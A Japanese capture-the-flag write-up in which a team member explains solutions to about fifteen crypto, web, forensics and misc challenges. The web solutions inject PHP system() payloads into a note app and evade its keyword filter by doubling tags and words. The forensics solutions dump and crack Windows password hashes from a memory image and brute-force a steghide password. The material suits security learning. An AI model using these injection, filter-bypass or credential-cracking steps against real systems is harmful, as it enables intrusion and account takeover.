この大会は2021/9/17 23:00(JST)～2021/9/20 11:00(JST)に開催されました。
今回もチームで参戦。結果は9857点で563チーム中7位でした。
自分で解けた問題をWriteupとして書いておきます。
discord plz (misc)
Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。
flag{thamks_for_joining_the_disc}
Convert (crypto)
hexデコードする。
$ echo 666c61677b6469735f69735f615f666c346767675f68317d | xxd -r -p flag{dis_is_a_fl4ggg_h1}
flag{dis_is_a_fl4ggg_h1}
ReallynotSecureAlgorithm (crypto)
p, qがわかっているので、そのまま復号する。
from Crypto.Util.number import * with open('out.txt', 'r') as f: p = int(f.readline()) q = int(f.readline()) e = int(f.readline()) ct = int(f.readline()) phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(ct, d, p * q) flag = long_to_bytes(m) print flag
flag{n0t_to0_h4rd_rIt3_19290453}
ProgrammersHateProgramming (web)
noteを追加すると、phpとして追加される。以下のように入力して情報を得る。
■<? system("pwd"); ?>
/var/www/html
■<? system("ls -l"); ?>
total 11508
-rw-r--r-- 1 www-data www-data 48 Sep 17 14:48 019IDCL7D9cpglS.php
-rw-r--r-- 1 www-data www-data 0 Sep 17 21:16 08BeBMzfoCze8ZR.php
-rw-r--r-- 1 www-data www-data 9 Sep 17 15:01 094kV3YMpZgVuht.php
-rw-r--r-- 1 www-data www-data 0 Sep 17 17:45 09yOL3RK2ghqRjT.php
-rw-r--r-- 1 www-data www-data 13 Sep 17 15:02 0CH2G3pDnhFy3xD.php
-rw-r--r-- 1 www-data www-data 7 Sep 17 15:04 0CYolvsA6imCHOR.php
-rw-r--r-- 1 www-data www-data 27 Sep 17 18:58 0CjTWUcNT3pJBok.php
-rw-r--r-- 1 www-data www-data 23 Sep 17 16:01 0D4goPO3fKrJ9Fz.php
：
：
-rwxr-xr-x 1 root root 19 Sep 17 00:26 note1.php
-rwxr-xr-x 1 root root 14 Sep 17 00:26 note2.php
：
：フラグらしきものはない。
■<? system("cat index.php"); ?>
<?php
session_start();
if(!isset($_SESSION["notes"]) && !isset($note_array))
{
$note_array = array("note1.php", "note2.php");
$_SESSION["notes"]=$note_array;
}
?>
<html>
<head>
<title> Programmers Hate Programming </title>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">
<link href="https://getbootstrap.com/docs/3.3/examples/jumbotron-narrow/jumbotron-narrow.css" rel="stylesheet">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<div class="container">
<div class="jumbotron">
<div class="login-form">
<form role="form" action="addnote.php" method="post">
<div class="form-group">
<input type="text" name="notewrite" id="notewrite" class="form-control input-lg" placeholder="New Note">
<input type="submit" class="btn btn-lg btn-success btn-block" value="Add Note">
</div>
</form>
</div>
</div>
<div class="jumbotron">
<?php
foreach($_SESSION["notes"] as $key=>$value)
{
$notenum = $key + 1;
echo "<a href=$value> Note $notenum </a>" . "<br>";
}
?>
</div>
</div>
</html>
■<? system("cat addnote.php"); ?>
<?php
session_start();
function str_replace_first($from, $to, $content)
{
$from = '/'.preg_quote($from, '/').'/';
return preg_replace($from, $to, $content, 1);
}
function generateRandomString($length = 15) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
if(isset($_POST["notewrite"]))
{
$newnote = $_POST["notewrite"];
$notetoadd = str_replace_first("<?php", "", $newnote);
$notetoadd = str_replace_first("?>", "", $notetoadd);
$notetoadd = str_replace_first("<script>", "", $notetoadd);
$notetoadd = str_replace_first("</script>", "", $notetoadd);
$notetoadd = str_replace_first("flag", "", $notetoadd);
$filename = generateRandomString();
array_push($_SESSION["notes"], "$filename.php");
file_put_contents("$filename.php", $notetoadd);
header("location:index.php");
}
?>"flag"というワードは削除されるので、そのことを考慮して、情報収集を続ける。
■<? system("ls -l /"); ?>
total 916
drwxr-xr-x 1 root root 4096 Dec 11 2020 bin
drwxr-xr-x 2 root root 4096 Nov 22 2020 boot
drwxr-xr-x 5 root root 340 Sep 17 01:01 dev
drwxr-xr-x 1 root root 4096 Sep 17 01:01 etc
-rwxr-xr-x 1 root root 239 Sep 17 00:26 flag.php
drwxr-xr-x 2 root root 4096 Nov 22 2020 home
drwxr-xr-x 1 root root 4096 Dec 11 2020 lib
drwxr-xr-x 2 root root 4096 Dec 9 2020 lib64
drwxr-xr-x 2 root root 4096 Dec 9 2020 media
drwxr-xr-x 2 root root 4096 Dec 9 2020 mnt
drwxr-xr-x 2 root root 4096 Dec 9 2020 opt
dr-xr-xr-x 294 root root 0 Sep 17 01:01 proc
drwx------ 1 root root 4096 Dec 11 2020 root
drwxr-xr-x 1 root root 4096 Dec 11 2020 run
drwxr-xr-x 1 root root 4096 Dec 11 2020 sbin
drwxr-xr-x 2 root root 4096 Dec 9 2020 srv
dr-xr-xr-x 13 root root 0 Sep 17 01:01 sys
drwxrwxrwt 1 root root 860160 Sep 18 01:17 tmp
drwxr-xr-x 1 root root 4096 Dec 9 2020 usr
drwxr-xr-x 1 root root 4096 Dec 11 2020 var
■<? system("cat /flflagag.php"); ?>
flag{server_side_php_xss_is_less_known_but_considering_almost_80%_of_websites_use_php_it_is_good_to_know_thank_me_later_i_dont_want_to_stop_typing_this_flagg_is_getting_long_but_i_feel_like_we're_developing_a_really_meaningful_connection}
flag{server_side_php_xss_is_less_known_but_considering_almost_80%_of_websites_use_php_it_is_good_to_know_thank_me_later_i_dont_want_to_stop_typing_this_flagg_is_getting_long_but_i_feel_like_we're_developing_a_really_meaningful_connection}
Stegosaurus stenops (forens)
steghideによる情報隠蔽があやしいが、パスワードがわからないので、ブルートフォースをする。
$ python steg_brute.py -b -d dict/rockyou.txt -f stegosaurus.jpg [i] Searching... 0%| | wrote extracted data to "stegosaurus_flag.txt". [+] Information obtained with password: snowflake flag{ungulatus_better_than_stenops}
flag{ungulatus_better_than_stenops}
ProgrammersHateProgramming 2 (web)
noteを追加すると、phpとして追加されるのは「ProgrammersHateProgramming」の問題と同じ。ただブラックリストの文字列が増え、それを回避して情報を得る必要がある。以下のように入力して情報を得る。
■<<?? system("pwd"); ??>>
/var/www/html
■<<?? system("ls -l /"); ??>>
total 76
drwxr-xr-x 1 root root 4096 Dec 11 2020 bin
drwxr-xr-x 2 root root 4096 Nov 22 2020 boot
drwxr-xr-x 5 root root 340 Sep 18 19:08 dev
drwxr-xr-x 1 root root 4096 Sep 18 19:08 etc
-rw-r--r-- 1 root root 104 Sep 18 16:51 flag.php
drwxr-xr-x 2 root root 4096 Nov 22 2020 home
drwxr-xr-x 1 root root 4096 Dec 11 2020 lib
drwxr-xr-x 2 root root 4096 Dec 9 2020 lib64
drwxr-xr-x 2 root root 4096 Dec 9 2020 media
drwxr-xr-x 2 root root 4096 Dec 9 2020 mnt
drwxr-xr-x 2 root root 4096 Dec 9 2020 opt
dr-xr-xr-x 345 root root 0 Sep 18 19:08 proc
drwx------ 1 root root 4096 Dec 11 2020 root
drwxr-xr-x 1 root root 4096 Dec 11 2020 run
drwxr-xr-x 1 root root 4096 Dec 11 2020 sbin
drwxr-xr-x 2 root root 4096 Dec 9 2020 srv
dr-xr-xr-x 13 root root 0 Sep 18 19:08 sys
drwxrwxrwt 1 root root 4096 Sep 18 21:26 tmp
drwxr-xr-x 1 root root 4096 Dec 9 2020 usr
drwxr-xr-x 1 root root 4096 Dec 11 2020 var
■<<?? system("ccatat /flflagag.php"); ??>>
flag{wow_that_was_a_lot_of_filters_anyways_how_about_that_meaningful_connection_i_mentioned_earlier_:)}
flag{wow_that_was_a_lot_of_filters_anyways_how_about_that_meaningful_connection_i_mentioned_earlier_:)}
Not_Baby (crypto)
factordbでnを素因数分解すると、一部しか分解できない。
n = 2^2 * 73 * 181 * 11411 * 235111 * 405068235301607959850203988278514454782583464657297479002456013587769963884971817073346255435009991910967
最後の405...が素数ではない。yafuで素因数分解してみる。
>yafu-x64.exe "factor(405068235301607959850203988278514454782583464657297479002456013587769963884971817073346255435009991910967)" -v -threads 4 09/18/21 23:54:28 v1.34.5 @ XXXXXXXX, System/Build Info: Using GMP-ECM 6.3, Powered by GMP 5.1.1 detected Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz detected L1 = 32768 bytes, L2 = 16777216 bytes, CL = 64 bytes measured cpu frequency ~= 2895.213960 using 20 random witnesses for Rabin-Miller PRP checks =============================================================== ======= Welcome to YAFU (Yet Another Factoring Utility) ======= ======= bbuhrow@gmail.com ======= ======= Type help at any time, or quit to quit ======= =============================================================== cached 78498 primes. pmax = 999983 >> fac: factoring 405068235301607959850203988278514454782583464657297479002456013587769963884971817073346255435009991910967 fac: using pretesting plan: normal fac: no tune info: using qs/gnfs crossover of 95 digits fac: found nfs job file, resuming nfs nfs: checking for job file - job file found, testing for matching input nfs: number in job file matches input nfs: checking for data file nfs: no data file found nfs: commencing nfs on c105: 405068235301607959850203988278514454782583464657297479002456013587769963884971817073346255435009991910967 nfs: parsed lpbr = 26, lpba = 26 nfs: continuing with sieving - could not determine last special q; using default startq nfs: commencing algebraic side lattice sieving over range: 1265000 - 1270000 nfs: commencing algebraic side lattice sieving over range: 1250000 - 1255000 nfs: commencing algebraic side lattice sieving over range: 1260000 - 1265000 nfs: commencing algebraic side lattice sieving over range: 1255000 - 1260000 gnfs-lasieve4I12e: L1_BITS=15, SVN $Revision: 406 $ gnfs-lasieve4I12e: L1_BITS=15, SVN $Revision: 406 $ gnfs-lasieve4I12e: L1_BITS=15, SVN $Revision: 406 $ Warning: lowering FB_bound to 1249999. Warning: lowering FB_bound to 1264999. Warning: lowering FB_bound to 1259999. gnfs-lasieve4I12e: L1_BITS=15, SVN $Revision: 406 $ Warning: lowering FB_bound to 1254999. FBsize 96580+0 (deg 4), 183071+0 (deg 1) FBsize 96974+0 (deg 4), 183071+0 (deg 1) FBsize 96210+0 (deg 4), 183071+0 (deg 1) FBsize 97321+0 (deg 4), 183071+0 (deg 1) ： commencing square root phase reading relations for dependency 1 read 189840 cycles cycles contain 700264 unique relations read 700264 relations multiplying 700264 relations multiply complete, coefficients have about 29.20 million bits initial square root is modulo 242932597 sqrtTime: 28 NFS elapsed time = 4791.5450 seconds. pretesting / nfs ratio was 0.00 Total factoring time = 4791.5470 seconds ***factors found*** P71 = 61872434969046837223597248696590986360784288448775988338706090668799371 P34 = 6546828737292350227122068012441477 ans = 1
素因数分解できたので、あとは通常通り復号する。
from Crypto.Util.number import * n = 57436275279999211772332390260389123467061581271245121044959385707165571981686310741298519009630482399016808156120999964 e = 65537 ct = 25287942932936198887822866306739577372124406139134641253461396979278534624726135258660588590323101498005293149770225633 primes = {2: 2, 73: 1, 181: 1, 11411: 1, 235111: 1, 6546828737292350227122068012441477: 1, 61872434969046837223597248696590986360784288448775988338706090668799371: 1} phi = 1 for k, v in list(primes.items()): phi *= (k - 1) * (k ** (v - 1)) d = inverse(e, phi) m = pow(ct, d, n) flag = long_to_bytes(m) print flag
flag{f4ct0ring_s0000oo00000o00_h4rd}
memedium (forens)
何かしらのパスワードがフラグということらしい。
$ volatility -f mememachinememory.vmem imageinfo Volatility Foundation Volatility Framework 2.6.1 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86) AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : FileAddressSpace (/mnt/hgfs/Shared/work/mememachinememory.vmem) PAE type : PAE DTB : 0x334000L KDBG : 0x80545ae0L Number of Processors : 1 Image Type (Service Pack) : 3 KPCR for CPU 0 : 0xffdff000L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2021-02-24 19:53:21 UTC+0000 Image local date and time : 2021-02-24 14:53:21 -0500 $ volatility -f mememachinememory.vmem --profile=WinXPSP2x86 hivelist Volatility Foundation Volatility Framework 2.6.1 Virtual Physical Name ---------- ---------- ---- 0xe1b974e0 0x089ff4e0 \Device\HarddiskVolume1\Documents and Settings\LocalService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat 0xe1b8fb60 0x0892eb60 \Device\HarddiskVolume1\Documents and Settings\LocalService\NTUSER.DAT 0xe1b68b60 0x08379b60 \Device\HarddiskVolume1\Documents and Settings\NetworkService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat 0xe1b5e008 0x082a2008 \Device\HarddiskVolume1\Documents and Settings\NetworkService\NTUSER.DAT 0xe1625950 0x049d1950 \Device\HarddiskVolume1\WINDOWS\system32\config\software 0xe15e40f0 0x03f990f0 \Device\HarddiskVolume1\WINDOWS\system32\config\default 0xe161fb60 0x049a5b60 \Device\HarddiskVolume1\WINDOWS\system32\config\SAM 0xe15e8b60 0x04044b60 \Device\HarddiskVolume1\WINDOWS\system32\config\SECURITY 0xe13e5530 0x024ad530 [no name] 0xe1018370 0x020dd370 \Device\HarddiskVolume1\WINDOWS\system32\config\system 0xe1008b60 0x020a1b60 [no name] 0xe2031008 0x00711008 \Device\HarddiskVolume1\Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat 0xe1ab1690 0x06b5f690 \Device\HarddiskVolume1\Documents and Settings\Administrator\NTUSER.DAT $ volatility -f mememachinememory.vmem --profile=WinXPSP2x86 hashdump -y 0xe1018370 -s 0xe161fb60 Volatility Foundation Volatility Framework 2.6.1 Administrator:500:cdf5e5fd95c14d936e9c218c1f22e251:31a5167ba5ce8351b0110a9d13636cd9::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1000:2c111668e0c7fd616a8af0feb7e4fcc1:103cc84c0cbb0bada9eea387d6df8207::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:9546430bd8979312c16cb95d28bfc853:::
https://hashes.com/en/decrypt/hashでクラックする。Administratorのハッシュ31a5167ba5ce8351b0110a9d13636cd9のパスワードが見つかった。
31a5167ba5ce8351b0110a9d13636cd9:superman83
flag{superman83}
Knapsack (crypto)
Merkle-Hellmanナップサック暗号になっているので、LLLを使って復号する。
#!/usr/bin/sage from Crypto.Util.number import long_to_bytes def is_valid_vector(b): if b[0] != 0: return False for i, x in enumerate(b): if i != 0 and abs(x) != 1: return False return True with open('output.txt', 'r') as f: b = eval(f.readline().split(': ')[1]) c = int(f.readline().split(': ')[1]) matrix_size = len(b) + 1 m_list = [ [0 for _ in range(matrix_size)] for _ in range(matrix_size) ] for i in range(matrix_size - 1): m_list[i][0] = b[i] m_list[i][i+1] = 2 m_list[matrix_size - 1][i+1] = -1 m_list[matrix_size - 1][0] = - c llled = Matrix(ZZ, m_list).LLL() flag_vecs = [] for basis in llled: if is_valid_vector(basis): flag_vecs.append(basis) for v in flag_vecs: bin_flag = '' for _bit in reversed(v): c = ("1" if _bit == 1 else "0") bin_flag = c + bin_flag flag = long_to_bytes(int(bin_flag, 2)) print(flag)
flag{b4d_r_4nd_q_1s_sc4ry}
Mr. Robot and Friends (forens)
フィッシングメールの送信者の名前がフラグ。
$ volatility -f mrrobotandfriends.vmss imageinfo Volatility Foundation Volatility Framework 2.6.1 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86 AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : VMWareAddressSpace (Unnamed AS) AS Layer3 : FileAddressSpace (/mnt/hgfs/Shared/work/mrrobotandfriends.vmss) PAE type : PAE DTB : 0x185000L KDBG : 0x82765be8L Number of Processors : 2 Image Type (Service Pack) : 0 KPCR for CPU 0 : 0x82766c00L KPCR for CPU 1 : 0x807c5000L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2015-10-09 12:53:02 UTC+0000 Image local date and time : 2015-10-09 08:53:02 -0400 $ volatility -f mrrobotandfriends.vmss --profile=Win7SP1x86_23418 pstree Volatility Foundation Volatility Framework 2.6.1 Name Pid PPid Thds Hnds Time -------------------------------------------------- ------ ------ ------ ------ ---- 0x84ecbb18:csrss.exe 368 360 9 366 2015-10-09 11:30:47 UTC+0000 0x84f97628:wininit.exe 420 360 3 77 2015-10-09 11:30:48 UTC+0000 . 0x84e979f8:services.exe 528 420 9 200 2015-10-09 11:30:48 UTC+0000 .. 0x85ae0cb0:dllhost.exe 1888 528 13 196 2015-10-09 11:30:54 UTC+0000 .. 0x8586fd40:svchost.exe 644 528 11 351 2015-10-09 11:30:48 UTC+0000 .. 0x85ae3030:vmtoolsd.exe 1432 528 8 274 2015-10-09 11:30:54 UTC+0000 .. 0x85935030:svchost.exe 796 528 19 446 2015-10-09 11:30:51 UTC+0000 .. 0x85d01510:svchost.exe 3232 528 9 131 2015-10-09 11:31:34 UTC+0000 .. 0x858b69e8:msdtc.exe 1980 528 12 145 2015-10-09 11:30:55 UTC+0000 .. 0x85978940:svchost.exe 864 528 30 1036 2015-10-09 11:30:52 UTC+0000 .. 0x85969030:svchost.exe 836 528 17 405 2015-10-09 11:30:52 UTC+0000 ... 0x85c09968:dwm.exe 2088 836 3 93 2015-10-09 11:31:04 UTC+0000 .. 0x85c39030:taskhost.exe 2252 528 7 150 2015-10-09 11:31:04 UTC+0000 .. 0x8582c8d8:spoolsv.exe 1228 528 12 273 2015-10-09 11:30:53 UTC+0000 .. 0x84e01448:svchost.exe 720 528 6 276 2015-10-09 11:30:50 UTC+0000 .. 0x85a138f0:svchost.exe 1124 528 16 484 2015-10-09 11:30:53 UTC+0000 .. 0x85a55d40:svchost.exe 1256 528 17 304 2015-10-09 11:30:53 UTC+0000 .. 0x85b43a58:sppsvc.exe 3900 528 4 153 2015-10-09 11:32:54 UTC+0000 .. 0x859cc2c0:svchost.exe 1008 528 13 650 2015-10-09 11:30:52 UTC+0000 .. 0x8598c920:SearchIndexer. 2544 528 13 670 2015-10-09 11:31:10 UTC+0000 .. 0x85976318:svchost.exe 1784 528 5 99 2015-10-09 11:30:54 UTC+0000 . 0x8583b030:lsass.exe 536 420 9 851 2015-10-09 11:30:48 UTC+0000 . 0x8583d960:lsm.exe 544 420 10 163 2015-10-09 11:30:48 UTC+0000 0x83d334e8:System 4 0 94 500 2015-10-09 11:30:44 UTC+0000 . 0x84edcbf0:smss.exe 276 4 2 30 2015-10-09 11:30:44 UTC+0000 0x84013598:TeamViewer.exe 2680 1696 28 632 2015-10-09 12:08:46 UTC+0000 . 0x858bc278:TeamViewer_Des 1092 2680 16 405 2015-10-09 12:10:56 UTC+0000 . 0x84017d40:tv_w32.exe 4064 2680 2 83 2015-10-09 12:08:47 UTC+0000 0x85c1e5f8:explorer.exe 2116 2060 23 912 2015-10-09 11:31:04 UTC+0000 . 0x83eb5d40:cmd.exe 2496 2116 1 22 2015-10-09 11:33:42 UTC+0000 . 0x83f1ed40:mstsc.exe 2844 2116 11 484 2015-10-09 12:12:03 UTC+0000 . 0x83fb86a8:cmd.exe 3064 2116 1 22 2015-10-09 11:37:32 UTC+0000 . 0x859281f0:vmtoolsd.exe 2388 2116 7 164 2015-10-09 11:31:04 UTC+0000 . 0x85cd3d40:OUTLOOK.EXE 3196 2116 22 1678 2015-10-09 11:31:32 UTC+0000 0x855f6d40:csrss.exe 432 412 11 366 2015-10-09 11:30:48 UTC+0000 . 0x83f13d40:conhost.exe 1624 432 3 81 2015-10-09 11:35:15 UTC+0000 . 0x83fa9030:conhost.exe 676 432 3 83 2015-10-09 11:37:32 UTC+0000 . 0x83e5cd40:conhost.exe 916 432 3 83 2015-10-09 11:33:42 UTC+0000 . 0x83fc7c08:conhost.exe 1824 432 3 85 2015-10-09 11:39:22 UTC+0000 0x8561d030:winlogon.exe 480 412 3 115 2015-10-09 11:30:48 UTC+0000 0x85d0d030:iexplore.exe 2996 2984 6 463 2015-10-09 11:31:27 UTC+0000 . 0x83f105f0:cmd.exe 1856 2996 1 33 2015-10-09 11:35:15 UTC+0000 0x83fb2d40:cmd.exe 3784 2196 1 24 2015-10-09 11:39:22 UTC+0000
メールのfromの情報を取得したいので、Outlookのプロセスダンプを取得してみる。
$ volatility -f mrrobotandfriends.vmss --profile=Win7SP1x86_23418 memdump -D . -p 3196 Volatility Foundation Volatility Framework 2.6.1 ************************************************************************ Writing OUTLOOK.EXE [ 3196] to 3196.dmp
メールの"From: "が含まれている箇所を見てみる。
$ strings 3196.dmp | grep From: From: The Whit3R0s3 <th3wh1t3r0s3@gmail.com> From:
flag{The_Whit3R0s3}
MRSA (crypto)
入力した結果の値をencとして、式を変形していく。
p % s = enc ↓ p = s * k + enc ↓ n = p * q = (s * k + enc) * q ↓ n % s = (enc * q) % s ↓ q % s = (n * inverse(enc)) % s ↓ q = ((n * inverse(enc)) % s) + s * A
Aを順に増やしてnの約数になるものを探す。見つかったら、qの値からpの値がわかり、あとは通常通り復号する。
import socket from Crypto.Util.number import * def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('143.198.127.103', 42011)) data = recvuntil(s, '\n').rstrip() print data n = int(data.split(': ')[1]) data = recvuntil(s, '\n').rstrip() print data e = int(data.split(': ')[1]) data = recvuntil(s, '\n').rstrip() print data ct = int(data.split(': ')[1]) inp_s = getPrime(127) data = recvuntil(s, 'Enter: ').rstrip() print data + str(inp_s) s.sendall(str(inp_s) + '\n') data = recvuntil(s, '\n').rstrip() print data enc = int(data) q = ((n * inverse(enc, inp_s)) % inp_s) + inp_s while True: if n % q == 0: break q += inp_s assert n % q == 0 p = n // q phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(ct, d, n) flag = long_to_bytes(m) print flag
実行結果は以下の通り。
n: 20603782820542082184416268948744603762407194319137585909990405447963323634526241645188028117944337285512644908027511
e: 65537
ct: 680809290864502080039915858332076289761976840437553625856516570412495781280738449311123758941539089923500066331209
######################################################################
Now here's the More part!!!
Enter some message, and I will encrypt it for you
But you gotta follow the condition that your message gotta be less than q (and like legitamite)
######################################################################
Enter:163182744620913721929016238375135792857
59808139329023928575305949361851876653
flag{1dk_what_to_wr1te_h3re_s0_hii_ig}
flag{1dk_what_to_wr1te_h3re_s0_hii_ig}
leftovers (crypto)
サーバの処理概要は以下の通り。
・mod = gen() ・mod: 10**9以上10**10以下のランダム整数(奇数) ・small = mod ・以下繰り返し ・iが2以上int((mod+5)**(1/2))未満で以下を検査 ・modがiで割り切れたら、small = iとし、検査終了 ・smallとmodが違う場合はmod*=smallで、終了 ※((mod+5)**(1/2))未満で割り切れるものが必ずあり、modはそれの2乗で割り切れる。 ・lst: small-1個分の1の配列 ・r: min(10,small-1)以上small*3以下のランダム整数 ・lstにr個の0を追加 ・lstをシャッフル ・modを表示 ・lstを文字列として結合したものを表示 ・s: 数値をスペース区切りで入力 ・s: sの各数値の配列(各数値は2以上mod未満) ・sの長さとlstの長さが同じであることをチェック ・sの配列には同じ値がないかをチェック ・sの各値について以下をチェック ・pow(sの各値, small, mod) = 1の場合 cs += "1" ・そうでない場合 cs += "0" ・csと表示したstringが同じ ・すべてのチェックがOKの場合、フラグを表示
1の数が2個以下だったら、以下は必ず条件を満たすので、チェックをパスすることができる。
・pow(mod // small+1, small, mod) == 1 ・pow(mod // small * 2 +1, small, mod) == 1
つまりsmallが3の場合にチェックをパスできる。繰り返し問題を見て、smallが3の問題が出たら、答える。
import socket import re def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) while True: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('143.198.127.103', 42012)) data = recvuntil(s, 'to 1.\n').rstrip() print data pattern = 'power of (\d+) is congruent to 1 mod (\d+) it' m = re.search(pattern, data) small = int(m.group(1)) mod = int(m.group(2)) if small == 3: break data = recvuntil(s, 'Enter: ') print data[:-1], string = data.split('\n')[-2] ans = '' next = 2 init = True for i in string: if i == '0': ans += str(next) + ' ' next += 1 else: v = mod // small if init == False: v *= 2 else: init = False ans += str(v + 1) + ' ' ans = ans[:-1] print ans s.sendall(ans + '\n') data = recvuntil(s, '\n').rstrip() print data
実行結果は以下の通り。
Alright, I will send you a string, where each char contains either 0 or 1.
Then you will send me a list of integers back with the same size, separated by spaces.
Now for each number in your list, a, if it satisfies a to the power of 3 is congruent to 1 mod 18996169653 it will encode to 1.
Otherwise, your number will encode to 0. Now I will concattenate all of your encoded numbers into a string.
If this string equals the original string I sent you, then you will get the flag :yayy:.
One final caveat: all your numbers must be unique and positive integers greater than 1 and less than 18996169653.
0100100
Enter: 2 6332056552 3 4 12664113103 5 6
b'flag{pr1mes_r_pr3tty_sp3c14lll}'
flag{pr1mes_r_pr3tty_sp3c14lll}
Not_Baby_Fixed (crypto)
factordbでnを素因数分解する。一部しか分解できない。
n = 2^4 * 5 * 71 * 103 * 8581 * 50543 * 190026430624001 * 2703970397964298301 * 24044306141470122836526327719817809786885076499717262032724432402622824094872767885136373539655386164061947332072857325490641126195131896226892989183487084527633141038907298988762474925837
最後の240...が素数ではない。yafuで素因数分解してみる。
>yafu-x64.exe "factor(24044306141470122836526327719817809786885076499717262032724432402622824094872767885136373539655386164061947332072857325490641126195131896226892989183487084527633141038907298988762474925837)" -v -threads 4 09/20/21 07:00:49 v1.34.5 @ XXXXXXXX, System/Build Info: Using GMP-ECM 6.3, Powered by GMP 5.1.1 detected Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz detected L1 = 32768 bytes, L2 = 16777216 bytes, CL = 64 bytes measured cpu frequency ~= 2908.957580 using 20 random witnesses for Rabin-Miller PRP checks =============================================================== ======= Welcome to YAFU (Yet Another Factoring Utility) ======= ======= bbuhrow@gmail.com ======= ======= Type help at any time, or quit to quit ======= =============================================================== cached 78498 primes. pmax = 999983 >> fac: factoring 24044306141470122836526327719817809786885076499717262032724432402622824094872767885136373539655386164061947332072857325490641126195131896226892989183487084527633141038907298988762474925837 fac: using pretesting plan: normal fac: no tune info: using qs/gnfs crossover of 95 digits div: primes less than 10000 fmt: 1000000 iterations rho: x^2 + 3, starting 1000 iterations on C188 rho: x^2 + 2, starting 1000 iterations on C188 rho: x^2 + 1, starting 1000 iterations on C188 pm1: starting B1 = 150K, B2 = gmp-ecm default on C188 fac: setting target pretesting digits to 57.85 fac: sum of completed work is t0.00 fac: work done at B1=2000: 0 curves, max work = 30 curves fac: 30 more curves at B1=2000 needed to get to t57.85 ecm: 30/30 curves on C188, B1=2K, B2=gmp-ecm default fac: setting target pretesting digits to 57.85 fac: t15: 1.00 fac: t20: 0.04 fac: sum of completed work is t15.18 fac: work done at B1=11000: 0 curves, max work = 74 curves fac: 74 more curves at B1=11000 needed to get to t57.85 ecm: 74/74 curves on C188, B1=11K, B2=gmp-ecm default fac: setting target pretesting digits to 57.85 fac: t15: 7.17 fac: t20: 1.04 fac: t25: 0.05 fac: sum of completed work is t20.24 fac: work done at B1=50000: 0 curves, max work = 214 curves fac: 214 more curves at B1=50000 needed to get to t57.85 ecm: 214/214 curves on C188, B1=50K, B2=gmp-ecm default, ETA: 0 sec pm1: starting B1 = 3750K, B2 = gmp-ecm default on C188 fac: setting target pretesting digits to 57.85 fac: t15: 37.74 fac: t20: 11.23 fac: t25: 1.05 fac: t30: 0.07 fac: sum of completed work is t25.33 fac: work done at B1=250000: 0 curves, max work = 430 curves fac: 430 more curves at B1=250000 needed to get to t57.85 ecm: 430/430 curves on C188, B1=250K, B2=gmp-ecm default, ETA: 1 sec pm1: starting B1 = 15M, B2 = gmp-ecm default on C188 fac: setting target pretesting digits to 57.85 fac: t15: 123.74 fac: t20: 64.98 fac: t25: 9.65 fac: t30: 1.07 fac: t35: 0.09 fac: sum of completed work is t30.45 fac: work done at B1=1000000: 0 curves, max work = 904 curves fac: 904 more curves at B1=1000000 needed to get to t57.85 ecm: 44/904 curves on C188, B1=1M, B2=gmp-ecm default, ETA: 37.9 min ecm: found prp37 factor = 2612704207743743498414225576245857791 fac: setting target pretesting digits to 46.46 fac: t15: 138.74 fac: t20: 73.98 fac: t25: 11.90 fac: t30: 1.45 fac: t35: 0.14 fac: t40: 0.01 fac: sum of completed work is t30.70 fac: work done at B1=1000000: 45 curves, max work = 904 curves fac: 859 more curves at B1=1000000 needed to get to t46.46 Total factoring time = 440.4927 seconds ***factors found*** P37 = 2612704207743743498414225576245857791 P151 = 9202842813283520053373814153366196725555378670569425651403981961003320229089581578132314718638828971883763395128536959296142080739168256752552585624307 ans = 1
素因数分解できたので、あとは通常通り復号する。
from Crypto.Util.number import * n = 3134820448585521702394003995997656455907477282436511703324204127865184340978305062848983553236851077753614495104127538077189920381627136628226756258746377111950396074035862527542407869672121642062363412247864869790585619483151943257840 e = 65537 ct = 1918452064660929090686220330495385310745803950329608928110672560978679963497394969369363585721389729566306519544561789659164639271919010791127784820214512488663422537225906608133719652453804000168907004058397487865279113133220466050285 primes = {2: 4, 5: 1, 71: 1, 103: 1, 8581: 1, 50543: 1, 190026430624001: 1, 2703970397964298301: 1, 2612704207743743498414225576245857791: 1, 9202842813283520053373814153366196725555378670569425651403981961003320229089581578132314718638828971883763395128536959296142080739168256752552585624307: 1} phi = 1 for k, v in list(primes.items()): phi *= (k - 1) * (k ** (v - 1)) d = inverse(e, phi) m = pow(ct, d, n) flag = long_to_bytes(m) print flag
flag{plz_n0_guess_sum_of_a_b_c_d1vides_n}
Survey (misc)
アンケートに答えたら、フラグが表示された。
flag{thamks_for_playing_beautiful_people!}
